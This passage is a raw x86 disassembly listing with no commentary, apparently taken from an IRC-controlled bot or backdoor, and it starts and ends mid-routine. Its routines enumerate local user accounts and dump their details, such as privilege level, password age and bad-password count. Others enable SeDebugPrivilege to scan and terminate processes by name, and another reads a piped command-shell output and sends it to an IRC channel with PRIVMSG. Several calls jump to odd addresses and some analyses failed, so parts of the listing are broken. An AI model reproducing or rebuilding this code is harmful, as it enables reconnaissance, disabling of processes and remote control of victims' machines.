10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB4FC pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CB4EC pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CB67C test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439830 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB6B4 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB584 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439A20 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_4399EC push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB6B4 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB6B4 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DB240 call sub_41B886 pop ecx mov eax, offset dword_4DB240 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB634 test eax, eax jnz short loc_419623 mov esi, offset dword_4DB03C push offset unk_439D54 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DB03C push eax push offset dword_439D28 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2720517h push eax call dword_4CB608 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB5E0 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB690 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 2660843h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB644, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CB628, ebx jz loc_4198BB cmp dword_4CB538, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CB644 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB628 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CB538 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_439D80 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2841118h test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439DE0 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 2710BE6h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CB644 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CB4E4 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB538 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2710BE6h test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439F80 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_439F5C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439F38 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0A61h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 268032Dh nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 2710BE6h test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 2660843h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 439D7Ch, 65E2E890h, 0E3EB0226h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB8A8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB8B0 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB8A4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB8AC nop call near ptr 2700000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D7D8 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2680000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB674 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB8B4 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB8A8 nop call near ptr 28419A1h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB8A4 nop call near ptr 2841516h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 2680000h nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB8A8 nop call near ptr 2710000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB8E8 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_43A008 push ebx push dword_4DB8E8 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26E0A61h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439FE0 push ebx push dword_4DB8E8 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0A61h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_439FB0 push ebx push dword_4DB8E8 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0A61h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE 